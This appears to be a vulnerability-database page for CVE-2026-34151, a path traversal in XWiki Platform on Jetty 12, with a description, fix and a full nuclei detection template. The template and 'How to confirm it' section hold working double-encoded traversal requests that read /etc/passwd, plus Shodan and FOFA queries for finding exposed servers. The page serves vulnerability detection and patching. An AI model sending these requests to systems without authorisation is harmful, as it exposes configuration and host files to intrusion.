HexBrain

Browse / CVEs / CVE-2026-34151

CVE-2026-34151· xwiki / xwiki· CWE-24

XWiki Platform - Path Traversal

highseverity
8.2CVSS score
2.5%likelihood of exploitation, next 30 days
85%of all CVEs are less likely
Readycheck to confirm it

XWiki Platform is a generic wiki platform. Prior to 17.10.5 and 18.2.0, the /skin/ action in com.xpn.xwiki.web.SkinAction can resolve double-encoded parent-directory segments outside the intended skin or web-application resource prefix when Jetty 12 or later decodes the request path. The affected lookup is replaced with Environment.getResourceAsStream(String, String), which constrains a resource to its expected prefix. An unauthenticated remote attacker can use the vulnerable behavior to read arbitrary resources permitted to the Jetty process, including WEB-INF/xwiki.cfg and, depending on deployment depth and operating-system permissions, host files. Tomcat and Jetty versions before 12 do not appear affected. This issue is fixed in versions 17.10.5 and 18.2.0.

Impact

An unauthenticated remote attacker can use the vulnerable behavior to read arbitrary resources permitted to the Jetty process, including WEB-INF/xwiki.cfg and, depending on deployment depth and operating-system permissions, host files.

Fix

Upgrade XWiki to later than 17.10.5 and 18.2.0.

How to confirm it

Send: GET {{BaseURL}}
Positive when: contains(body, 'xwiki')
Send: GET {{BaseURL}}/xwiki/bin/skin/..%252f/..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc/passwd ; GET {{BaseURL}}/bin/skin/..%252f/..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc/passwd
Positive when: status_code == 200 and regex('root:.*:0:0:', body) and contains(content_type, 'application/octet-stream')

Run it with nuclei: nuclei -id CVE-2026-34151 -u <target>

The full check
id: CVE-2026-34151

info:
  name: XWiki Platform - Path Traversal
  author: ritikchaddha
  severity: high
  description: |
    XWiki Platform is a generic wiki platform. Prior to 17.10.5 and 18.2.0, the /skin/ action in com.xpn.xwiki.web.SkinAction can resolve double-encoded parent-directory segments outside the intended skin or web-application resource prefix when Jetty 12 or later decodes the request path. The affected lookup is replaced with Environment.getResourceAsStream(String, String), which constrains a resource to its expected prefix. An unauthenticated remote attacker can use the vulnerable behavior to read arbitrary resources permitted to the Jetty process, including WEB-INF/xwiki.cfg and, depending on deployment depth and operating-system permissions, host files. Tomcat and Jetty versions before 12 do not appear affected. This issue is fixed in versions 17.10.5 and 18.2.0.
  impact: |
    An unauthenticated remote attacker can use the vulnerable behavior to read arbitrary resources permitted to the Jetty process, including WEB-INF/xwiki.cfg and, depending on deployment depth and operating-system permissions, host files.
  remediation: |
    Upgrade XWiki to later than 17.10.5 and 18.2.0.
  reference:
    - https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-qj4x-9g63-25g6
    - https://jira.xwiki.org/browse/XWIKI-24075
    - https://nvd.nist.gov/vuln/detail/CVE-2026-34151
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
    cvss-score: 8.2
    cve-id: CVE-2026-34151
    epss-score: 0.02469
    epss-percentile: 0.84637
    cwe-id: CWE-24
    cpe: cpe:2.3:a:xwiki:xwiki:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: xwiki
    product: xwiki
    fofa-query: body="data-xwiki-reference"
    shodan-query: html:"data-xwiki-reference"
  tags: cve,cve2026,xwiki,path-traversal,lfi

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    redirects: true
    matchers:
      - type: dsl
        dsl:
          - "contains(body, 'xwiki')"
        condition: and
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/xwiki/bin/skin/..%252f/..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc/passwd"
      - "{{BaseURL}}/bin/skin/..%252f/..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc/passwd"

    stop-at-first-match: true

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "regex('root:.*:0:0:', body)"
          - "contains(content_type, 'application/octet-stream')"
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from